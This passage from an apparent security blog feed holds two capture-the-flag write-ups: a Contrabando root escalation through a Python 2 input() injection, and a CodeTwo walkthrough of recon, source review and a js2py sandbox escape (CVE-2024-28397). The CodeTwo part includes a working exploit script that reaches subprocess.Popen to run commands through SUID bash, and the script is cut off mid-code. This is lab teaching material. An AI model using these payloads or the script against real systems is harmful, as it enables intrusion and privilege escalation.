&lt;p&gt;we have a password : &lt;code&gt;EQu5ehwHcRfZ&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;:::Note&lt;/p&gt;
&lt;p&gt;Checking the &lt;code&gt;/opt/generator/app.py&lt;/code&gt; script, it is a simple password generator:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;hansolo@contrabando:~$ cat /opt/generator/app.py
import random
import string

def generate_password(length):
    characters = string.ascii_letters + string.digits + string.punctuation
    random.seed()
    secret = input(&quot;Any words you want to add to the password? &quot;)
    password_characters = list(characters + secret)
    random.shuffle(password_characters)
    password = &apos;&apos;.join(password_characters[:length])

    return password

try:
    length = int(raw_input(&quot;Enter the desired length of the password: &quot;))
except NameError:
    length = int(input(&quot;Enter the desired length of the password: &quot;))
except ValueError:
    print(&quot;Invalid input. Using default length of 12.&quot;)
    length = 12

password = generate_password(length)
print(&quot;Generated Password:&quot;, password)
hansolo@contrabando:~$ 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;!-- Load AdSense --&amp;gt;
&amp;lt;script async src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-6730116050408303&quot; crossorigin=&quot;anonymous&quot;&amp;gt;&amp;lt;/script&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- Display Ad --&amp;gt;
&amp;lt;script async src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-6730116050408303&quot;
crossorigin=&quot;anonymous&quot;&amp;gt;&amp;lt;/script&amp;gt;
&amp;lt;!-- amazon --&amp;gt;
&amp;lt;ins class=&quot;adsbygoogle&quot;
style=&quot;display:block&quot;
data-ad-client=&quot;ca-pub-6730116050408303&quot;
data-ad-slot=&quot;6226039483&quot;
data-ad-format=&quot;auto&quot;
data-full-width-responsive=&quot;true&quot;&amp;gt;&amp;lt;/ins&amp;gt;
&amp;lt;script&amp;gt;
(adsbygoogle = window.adsbygoogle || []).push({});
&amp;lt;/script&amp;gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# /opt/generator/app.py
import random
import string

def generate_password(length):
    characters = string.ascii_letters + string.digits + string.punctuation
    random.seed()
    secret = input(&quot;Any words you want to add to the password? &quot;)
    password_characters = list(characters + secret)
    random.shuffle(password_characters)
    password = &apos;&apos;.join(password_characters[:length])

    return password

try:
    length = int(raw_input(&quot;Enter the desired length of the password: &quot;))
except NameError:
    length = int(input(&quot;Enter the desired length of the password: &quot;))
except ValueError:
    print(&quot;Invalid input. Using default length of 12.&quot;)
    length = 12

password = generate_password(length)
print(&quot;Generated Password:&quot;, password)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;:::&lt;/p&gt;
&lt;p&gt;Analysis of the sudo configuration shows that the command can be executed with &lt;code&gt;/usr/bin/python*&lt;/code&gt;. Upon inspecting the system, it is confirmed that &lt;code&gt;Python 2&lt;/code&gt; is available as one of the matching binaries, providing an additional execution vector.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-21.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;hansolo@contrabando:~$ ls -la /usr/bin/python*
lrwxrwxrwx 1 root root       9 Mar 13  2020 /usr/bin/python2 -&amp;gt; python2.7
-rwxr-xr-x 1 root root 3657904 Dec  9  2024 /usr/bin/python2.7
lrwxrwxrwx 1 root root       9 Mar 13  2020 /usr/bin/python3 -&amp;gt; python3.8
-rwxr-xr-x 1 root root 5490456 Mar 18 20:04 /usr/bin/python3.8
lrwxrwxrwx 1 root root      33 Mar 18 20:04 /usr/bin/python3.8-config -&amp;gt; x86_64-linux-gnu-python3.8-config
lrwxrwxrwx 1 root root      16 Mar 13  2020 /usr/bin/python3-config -&amp;gt; python3.8-config
hansolo@contrabando:~$ 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;Python2&lt;/code&gt; being available makes this line in the generate_password function problematic:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;secret = input(&quot;Any words you want to add to the password? &quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;!-- Load AdSense --&amp;gt;
&amp;lt;script async src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-6730116050408303&quot; crossorigin=&quot;anonymous&quot;&amp;gt;&amp;lt;/script&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- Display Ad --&amp;gt;
&amp;lt;script async src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-6730116050408303&quot;
crossorigin=&quot;anonymous&quot;&amp;gt;&amp;lt;/script&amp;gt;
&amp;lt;!-- amazon --&amp;gt;
&amp;lt;ins class=&quot;adsbygoogle&quot;
style=&quot;display:block&quot;
data-ad-client=&quot;ca-pub-6730116050408303&quot;
data-ad-slot=&quot;6226039483&quot;
data-ad-format=&quot;auto&quot;
data-full-width-responsive=&quot;true&quot;&amp;gt;&amp;lt;/ins&amp;gt;
&amp;lt;script&amp;gt;
(adsbygoogle = window.adsbygoogle || []).push({});
&amp;lt;/script&amp;gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ python2
Python 2.7.18 (default, Aug  1 2022, 06:23:55)
[GCC 12.1.0] on linux2
Type &quot;help&quot;, &quot;copyright&quot;, &quot;credits&quot; or &quot;license&quot; for more information.

&amp;gt;&amp;gt;&amp;gt; print(raw_input(&quot;input: &quot;))
input: __import__(&quot;os&quot;).system(&quot;whoami&quot;)
__import__(&quot;os&quot;).system(&quot;whoami&quot;)

&amp;gt;&amp;gt;&amp;gt; print(input(&quot;input: &quot;))
input: __import__(&quot;os&quot;).system(&quot;whoami&quot;)
kali
0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;By executing the sudo-enabled script with &lt;code&gt;Python 2&lt;/code&gt; and submitting the payload&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;__import__(&quot;os&quot;).system(&quot;bash&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;image-22.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;hansolo@contrabando:~$ sudo /usr/bin/python2 /opt/generator/app.py
[sudo] password for hansolo:
Enter the desired length of the password: 1&apos;^H
Any words you want to add to the password? __import__(&quot;os&quot;).system(&quot;bash&quot;)
root@contrabando:/home/hansolo# ls
app  hansolo_userflag.txt  password_find.py
root@contrabando:/home/hansolo# cd /root
root@contrabando:~# ls
password  root.txt  secrets  smug  snap
root@contrabando:~# cat root.txt
THM{All_AbouT_xxxxxxx}
root@contrabando:~# 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;!-- Load AdSense --&amp;gt;
&amp;lt;script async src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-6730116050408303&quot; crossorigin=&quot;anonymous&quot;&amp;gt;&amp;lt;/script&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- Display Ad --&amp;gt;
&amp;lt;script async src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-6730116050408303&quot;
crossorigin=&quot;anonymous&quot;&amp;gt;&amp;lt;/script&amp;gt;
&amp;lt;!-- amazon --&amp;gt;
&amp;lt;ins class=&quot;adsbygoogle&quot;
style=&quot;display:block&quot;
data-ad-client=&quot;ca-pub-6730116050408303&quot;
data-ad-slot=&quot;6226039483&quot;
data-ad-format=&quot;auto&quot;
data-full-width-responsive=&quot;true&quot;&amp;gt;&amp;lt;/ins&amp;gt;
&amp;lt;script&amp;gt;
(adsbygoogle = window.adsbygoogle || []).push({});
&amp;lt;/script&amp;gt;&lt;/p&gt;
&lt;h3&gt;Exploitation Summary&lt;/h3&gt;
&lt;p&gt;The Contrabando challenge was systematically exploited as follows:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;ol&gt;
&lt;li&gt;HTTP Request Smuggling (&lt;code&gt;CRLF Injection&lt;/code&gt;) – An &lt;code&gt;Apache2&lt;/code&gt; front-end proxy was vulnerable to CRLF injection, allowing us to smuggle a crafted request to the back-end server. This enabled the exploitation of a command injection vulnerability on the back-end, providing an initial shell inside a Docker container.&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;ol&gt;
&lt;li&gt;Internal Network Enumeration &amp;amp; SSRF – Within the container, network enumeration revealed an internal web service exposing a Server-Side Request Forgery (&lt;code&gt;SSRF&lt;/code&gt;) vulnerability. This was leveraged to access and analyze the application’s source code.&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;ol&gt;
&lt;li&gt;Server-Side Template Injection (&lt;code&gt;SSTI&lt;/code&gt;) – Combining the SSRF with a Jinja2 SSTI vulnerability in the application allowed execution of arbitrary template code, granting a shell on the host system.&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;ol&gt;
&lt;li&gt;Password Recovery &amp;amp; Privilege Escalation – An unquoted Bash script parameter, combined with glob matching, was used to brute-force the &lt;code&gt;hansolo&lt;/code&gt; user password. With the password, the sudo-enabled Python2 script was exploited for Remote Code Execution (RCE), escalating privileges to root.&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;ol&gt;
&lt;li&gt;This chain of vulnerabilities—from request smuggling to RCE—ultimately allowed full compromise of the host and completion of the room.&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>CodeTwo HTB Writeup (Protected)</title><link>https://shadowv0id.vercel.app/posts/hackthebox/codetwo/codetwo/</link><guid isPermaLink="true">https://shadowv0id.vercel.app/posts/hackthebox/codetwo/codetwo/</guid><description>CVE-2024-28397</description><pubDate>Sun, 17 Aug 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&amp;lt;script&amp;gt;
async function verifyHash() {
const passInput = document.getElementById(&quot;pass-input&quot;).value.trim();&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if (!passInput) {
  document.getElementById(&quot;error&quot;).textContent = &quot;❌ Please enter a password&quot;;
  return;
}

try {
  const response = await fetch(&quot;https://passowrd-backend-production.up.railway.app/api/unlock&quot;, {
    method: &quot;POST&quot;,
    headers: { &quot;Content-Type&quot;: &quot;application/json&quot; },
    body: JSON.stringify({ password: passInput, postId: &quot;era&quot; })
  });

  const res = await response.json();
  console.log(res);

  if (res.success) {
    document.getElementById(&quot;protected-content&quot;).style.display = &quot;block&quot;;
    document.getElementById(&quot;locked&quot;).style.display = &quot;none&quot;;
    document.getElementById(&quot;error&quot;).textContent = &quot;&quot;;
  } else {
    document.getElementById(&quot;error&quot;).textContent = &quot;❌ Wrong password&quot;;
  }
} catch (error) {
  console.error(&quot;Error during unlock:&quot;, error);
  document.getElementById(&quot;error&quot;).textContent = &quot;❌ Server error, try again later&quot;;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;}
&amp;lt;/script&amp;gt;&lt;/p&gt;
&lt;h2&gt;IP&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;10.10.xx.xx&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Recon&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~/Desktop/codetwo]
└─$ nmap -sC -sV -Pn 10.10.11.82
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-17 05:24 EDT
Nmap scan report for 10.10.11.82
Host is up (0.45s latency).
Not shown: 998 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 a0:47:b4:0c:69:67:93:3a:f9:b4:5d:b3:2f:bc:9e:23 (RSA)
|   256 7d:44:3f:f1:b1:e2:bb:3d:91:d5:da:58:0f:51:e5:ad (ECDSA)
|_  256 f1:6b:1d:36:18:06:7a:05:3f:07:57:e1:ef:86:b4:85 (ED25519)
8000/tcp open  http    Gunicorn 20.0.4
|_http-server-header: gunicorn/20.0.4
|_http-title: Welcome to CodeTwo
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.59 seconds
                                                                                                                                                                                                                                            
┌──(kali㉿kali)-[~/Desktop/codetwo]
└─$ 
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Ports open&lt;/h2&gt;
&lt;p&gt;we have &lt;code&gt;2&lt;/code&gt; ports are open&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;22&lt;/li&gt;
&lt;li&gt;8000&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Web enumeration&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;lets see on port &lt;code&gt;8000&lt;/code&gt;
&lt;img src=&quot;image-1.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;ok we have login and register pages
&lt;img src=&quot;image-2.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;when we click on register and login buttons it was redirecting to /register &amp;amp;&amp;amp; /login
&lt;img src=&quot;image-3.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;div id=&quot;locked&quot; style=&quot;
font-family: Arial, sans-serif;
max-width: 400px;
margin: 20px auto;
padding: 15px;
border-radius: 12px;
background: rgba(255, 255, 255, 0.25);
backdrop-filter: blur(10px);
-webkit-backdrop-filter: blur(10px);
border: 1px solid rgba(255, 255, 255, 0.3);
box-shadow: 0 8px 32px 0 rgba(31, 38, 135, 0.37);
color: #1a1a1a;
&quot;&amp;gt;
&amp;lt;p style=&quot;font-weight: bold; font-size: 1.1rem; margin-bottom: 12px; color: #fff;&quot;&amp;gt;&amp;lt;strong&amp;gt;This writeup is password protected 🔒&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;
&amp;lt;input
style=&quot;width: 100%; padding: 8px 10px; font-size: 1rem; border: 1px solid rgba(255, 255, 255, 0.6); border-radius: 6px; box-sizing: border-box; margin-bottom: 10px; background: rgba(255,255,255,0.3); color: #0d1a36;&quot;
id=&quot;pass-input&quot;
type=&quot;password&quot;
placeholder=&quot;Enter password&quot;
/&amp;gt;
&amp;lt;button   style=&quot;width: 100%; background-color: rgba(0, 123, 255, 0.7); color: #e0eaff; border: none; padding: 10px; font-size: 1rem; border-radius: 6px; cursor: pointer; backdrop-filter: none;&quot; onclick=&quot;verifyHash()&quot;&amp;gt;Unlock&amp;lt;/button&amp;gt;
&amp;lt;p id=&quot;error&quot; style=&quot;color: #b00020; margin-top: 8px; font-size: 0.9rem;&quot;&amp;gt;&amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;div id=&quot;protected-content&quot; style=&quot;display:none&quot;&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;h1&amp;gt; Hidden Dir Enumeration &amp;lt;/h1&amp;gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Before Creating an account let find any hidden dir are present in the website&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&amp;lt;h1&amp;gt; Using Gobuster &amp;lt;/h1&amp;gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;gobuster dir -u http://10.10.11.82:8000/ -w /usr/share/wordlists/dirb/common.txt -t 50
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~/Desktop/codeway]
└─$ gobuster dir -u http://10.10.11.82:8000/ -w /usr/share/wordlists/dirb/common.txt -t 50 
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) &amp;amp; Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.11.82:8000/
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/dashboard            (Status: 302) [Size: 199] [--&amp;gt; /login]
/download             (Status: 200) [Size: 10696]
/login                (Status: 200) [Size: 667]
/logout               (Status: 302) [Size: 189] [--&amp;gt; /]
/register             (Status: 200) [Size: 651]
Progress: 4614 / 4615 (99.98%)
===============================================================
Finished
===============================================================
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;we have /download path here lets see what it is !&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;let see what its status using curl cmd&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~/Desktop/codeway]
└─$ curl -i http://10.10.11.82:8000/download
HTTP/1.1 200 OK
Server: gunicorn/20.0.4
Date: Sun, 17 Aug 2025 09:48:53 GMT
Connection: close
Content-Disposition: attachment; filename=app.zip
Content-Type: application/zip
Content-Length: 10696
Last-Modified: Fri, 17 Jan 2025 04:56:00 GMT
Cache-Control: no-cache
ETag: &quot;1737089760.0-10696-2470185569&quot;

Warning: Binary output can mess up your terminal. Use &quot;--output -&quot; to tell curl to output it to your terminal 
Warning: anyway, or consider &quot;--output &amp;lt;FILE&amp;gt;&quot; to save to a file.
                                                                                                                    
┌──(kali㉿kali)-[~/Desktop/codeway]
└─$ 
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;its status is 200 let download that file in zip&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~/Desktop/codeway]
└─$ curl -o app.zip http://10.10.11.82:8000/download
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   207  100   207    0     0    524      0 --:--:-- --:--:-- --:--:--   528
                                                                                                                    
┌──(kali㉿kali)-[~/Desktop/codeway]
└─$ ls
app.zip
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;lets unzip that&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~/Desktop/codeway]
└─$ unzip app.zip -d app_src                        
Archive:  app.zip
   creating: app_src/app/
   creating: app_src/app/templates/
  inflating: app_src/app/templates/login.html  
  inflating: app_src/app/templates/dashboard.html  
  inflating: app_src/app/templates/reviews.html  
  inflating: app_src/app/templates/register.html  
  inflating: app_src/app/templates/index.html  
  inflating: app_src/app/templates/base.html  
  inflating: app_src/app/requirements.txt  
   creating: app_src/app/static/
   creating: app_src/app/static/js/
  inflating: app_src/app/static/js/script.js  
   creating: app_src/app/static/css/
  inflating: app_src/app/static/css/styles.css  
  inflating: app_src/app/app.py      
   creating: app_src/app/instance/
  inflating: app_src/app/instance/users.db  
                                                                                                                    
┌──(kali㉿kali)-[~/Desktop/codeway]
└─$ 
┌──(kali㉿kali)-[~/Desktop/codeway]
└─$ ls                                              
app_src  app.zip
                                                                                                                    
┌──(kali㉿kali)-[~/Desktop/codeway]
└─$ cd app_src                                      
                                                                                                                    
┌──(kali㉿kali)-[~/Desktop/codeway/app_src]
└─$ ls
app
                                                                                                                    
┌──(kali㉿kali)-[~/Desktop/codeway/app_src]
└─$ 

&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;as we obsever when it was unziping the file we have  &lt;code&gt;app_src/app/instance/users.db&lt;/code&gt; database
lets see what it was using sqlite3&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~/…/codeway/app_src/app/instance]
└─$ sqlite3 users.db         
SQLite version 3.46.1 2024-08-13 09:16:08
Enter &quot;.help&quot; for usage hints.
sqlite&amp;gt; .tables
code_snippet  user        
sqlite&amp;gt; SELECT * FROM user;
sqlite&amp;gt; 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;:::Note&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;In database(user.db) we found nothing :(
:::&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;lets chack waht we have rest
we have app.py and requirements.txt&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~/…/codeway/app_src/app]
└─$ cat app.py
cat app.py
from flask import Flask, render_template, request, redirect, url_for, session, jsonify, send_from_directory
from flask_sqlalchemy import SQLAlchemy
import hashlib
import js2py
import os
import json

js2py.disable_pyimport()
app = Flask(__name__)
app.secret_key = &apos;S3cr3tK3yC0d3Tw0&apos;
app.config[&apos;SQLALCHEMY_DATABASE_URI&apos;] = &apos;sqlite:///users.db&apos;
app.config[&apos;SQLALCHEMY_TRACK_MODIFICATIONS&apos;] = False
db = SQLAlchemy(app)

class User(db.Model):
    id = db.Column(db.Integer, primary_key=True)
    username = db.Column(db.String(80), unique=True, nullable=False)
    password_hash = db.Column(db.String(128), nullable=False)

class CodeSnippet(db.Model):
    id = db.Column(db.Integer, primary_key=True)
    user_id = db.Column(db.Integer, db.ForeignKey(&apos;user.id&apos;), nullable=False)
    code = db.Column(db.Text, nullable=False)

@app.route(&apos;/&apos;)
def index():
    return render_template(&apos;index.html&apos;)

@app.route(&apos;/dashboard&apos;)
def dashboard():
    if &apos;user_id&apos; in session:
        user_codes = CodeSnippet.query.filter_by(user_id=session[&apos;user_id&apos;]).all()
        return render_template(&apos;dashboard.html&apos;, codes=user_codes)
    return redirect(url_for(&apos;login&apos;))

@app.route(&apos;/register&apos;, methods=[&apos;GET&apos;, &apos;POST&apos;])
def register():
    if request.method == &apos;POST&apos;:
        username = request.form[&apos;username&apos;]
        password = request.form[&apos;password&apos;]
        password_hash = hashlib.md5(password.encode()).hexdigest()
        new_user = User(username=username, password_hash=password_hash)
        db.session.add(new_user)
        db.session.commit()
        return redirect(url_for(&apos;login&apos;))
    return render_template(&apos;register.html&apos;)

@app.route(&apos;/login&apos;, methods=[&apos;GET&apos;, &apos;POST&apos;])
def login():
    if request.method == &apos;POST&apos;:
        username = request.form[&apos;username&apos;]
        password = request.form[&apos;password&apos;]
        password_hash = hashlib.md5(password.encode()).hexdigest()
        user = User.query.filter_by(username=username, password_hash=password_hash).first()
        if user:
            session[&apos;user_id&apos;] = user.id
            session[&apos;username&apos;] = username;
            return redirect(url_for(&apos;dashboard&apos;))
        return &quot;Invalid credentials&quot;
    return render_template(&apos;login.html&apos;)

@app.route(&apos;/logout&apos;)
def logout():
    session.pop(&apos;user_id&apos;, None)
    return redirect(url_for(&apos;index&apos;))

@app.route(&apos;/save_code&apos;, methods=[&apos;POST&apos;])
def save_code():
    if &apos;user_id&apos; in session:
        code = request.json.get(&apos;code&apos;)
        new_code = CodeSnippet(user_id=session[&apos;user_id&apos;], code=code)
        db.session.add(new_code)
        db.session.commit()
        return jsonify({&quot;message&quot;: &quot;Code saved successfully&quot;})
    return jsonify({&quot;error&quot;: &quot;User not logged in&quot;}), 401

@app.route(&apos;/download&apos;)
def download():
    return send_from_directory(directory=&apos;/home/app/app/static/&apos;, path=&apos;app.zip&apos;, as_attachment=True)

@app.route(&apos;/delete_code/&amp;lt;int:code_id&amp;gt;&apos;, methods=[&apos;POST&apos;])
def delete_code(code_id):
    if &apos;user_id&apos; in session:
        code = CodeSnippet.query.get(code_id)
        if code and code.user_id == session[&apos;user_id&apos;]:
            db.session.delete(code)
            db.session.commit()
            return jsonify({&quot;message&quot;: &quot;Code deleted successfully&quot;})
        return jsonify({&quot;error&quot;: &quot;Code not found&quot;}), 404
    return jsonify({&quot;error&quot;: &quot;User not logged in&quot;}), 401

@app.route(&apos;/run_code&apos;, methods=[&apos;POST&apos;])
def run_code():
    try:
        code = request.json.get(&apos;code&apos;)
        result = js2py.eval_js(code)
        return jsonify({&apos;result&apos;: result})
    except Exception as e:
        return jsonify({&apos;error&apos;: str(e)})

if __name__ == &apos;__main__&apos;:
    with app.app_context():
        db.create_all()
    app.run(host=&apos;0.0.0.0&apos;, debug=True)
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~/Desktop/codeway/app_src/app]
└─$ cat requirements.txt 
flask==3.0.3
flask-sqlalchemy==3.1.1
js2py==0.74                                                                                          
┌──(kali㉿kali)-[~/Desktop/codeway/app_src/app]
└─$ 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;h1&amp;gt; Source Code Review &amp;lt;/h1&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;p&amp;gt;Inside the extracted files we found &lt;code&gt;app.py&lt;/code&gt; and &lt;code&gt;requirements.txt&lt;/code&gt;.&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;app.py&lt;/code&gt; revealed:&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;Hardcoded Flask secret_key = &lt;code&gt;&apos;S3cr3tK3yC0d3Tw0&apos;&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;SQLite DB backend &lt;code&gt;(users.db)&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;/run_code&lt;/code&gt; endpoint that evaluates JavaScript code using &lt;code&gt;js2py&lt;/code&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;requirements.txt&lt;/code&gt; pinned:&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;flask==3.0.3
flask-sqlalchemy==3.1.1
js2py==0.74
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;This is interesting because &lt;code&gt;js2py==0.74&lt;/code&gt; is vulnerable.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&amp;lt;h1&amp;gt; Vulnerability Discovery &amp;lt;/h1&amp;gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The package &lt;code&gt;js2py&lt;/code&gt; &lt;code&gt;v0.74&lt;/code&gt; is affected by CVE-2024-28397.
This vulnerability allows an attacker to escape the sandbox and gain Python object access from inside the JavaScript runtime.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;PoC reference: &lt;a href=&quot;https://github.com/Marven11/CVE-2024-28397-js2py-Sandbox-Escape/blob/main/poc.py&quot;&gt;CVE-2024-28397&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;This is exploitable via the &lt;code&gt;/run_code&lt;/code&gt; endpoint, since arbitrary code from the attacker is passed directly to &lt;code&gt;js2py.eval_js()&lt;/code&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&amp;lt;h1&amp;gt;  Exploit &amp;lt;/h1&amp;gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;We exploit the endpoint to escape the sandbox and execute system commands.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;lets make a python file using chatgpt&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~/Desktop]
└─$ subl exploit.py         
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

import requests
import json
import sys
import time
import random
import string
from urllib.parse import urljoin

class FixedSecureExecutor:
    def __init__(self, target_ip, lhost=None, lport=None):
        self.target_ip = target_ip
        self.base_url = f&quot;http://{target_ip}:8000&quot;
        self.session = requests.Session()
        self.lhost = lhost
        self.lport = lport
        self.authenticate()
        
    def authenticate(self):
        &quot;&quot;&quot;Authenticate with the application&quot;&quot;&quot;
        try:
            username = &apos;&apos;.join(random.choices(string.ascii_lowercase, k=8))
            register_data = {&quot;username&quot;: username, &quot;password&quot;: &quot;password123&quot;}
            self.session.post(urljoin(self.base_url, &quot;/register&quot;), data=register_data)
            self.session.post(urljoin(self.base_url, &quot;/login&quot;), data=register_data)
            print(&quot;[✓] Authenticated successfully&quot;)
        except:
            print(&quot;[-] Authentication failed&quot;)
    
    def execute_privileged_command(self, command, output_file):
        &quot;&quot;&quot;Execute a command with root privileges using SUID bash&quot;&quot;&quot;
        payload = {
            &quot;code&quot;: f&quot;&quot;&quot;let cmd = &quot;/usr/bin/bash -p -c &apos;{command}&apos; &amp;gt; /home/app/app/static/{output_file} 2&amp;gt;&amp;amp;1&quot;;
let props = Object.getOwnPropertyNames({{}});
let getattr = props.__getattribute__;
let attr = getattr(&quot;__getattribute__&quot;);
let obj = attr(&quot;__class__&quot;).__base__;
function findpopen(o) {{
    let result;
    for(let i in o.__subclasses__()) {{
        let item = o.__subclasses__()[i];
        if(item.__module__ == &quot;subprocess&quot; &amp;amp;&amp;amp; item.__name__ == &quot;Popen&quot;) {{
            return item;
        }}
        if(item.__name__ != &quot;type&quot; &amp;amp;&amp;amp; (result = findpopen(item))) {{
            return result;
        }}
    }}
}}
findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate();
console.log(&quot;Command executed&quot;);&quot;&quot;&quot;
        }
        
        try:
            self.session.post(
                urljoin(self.base_url, &quot;/run_code&quot;),
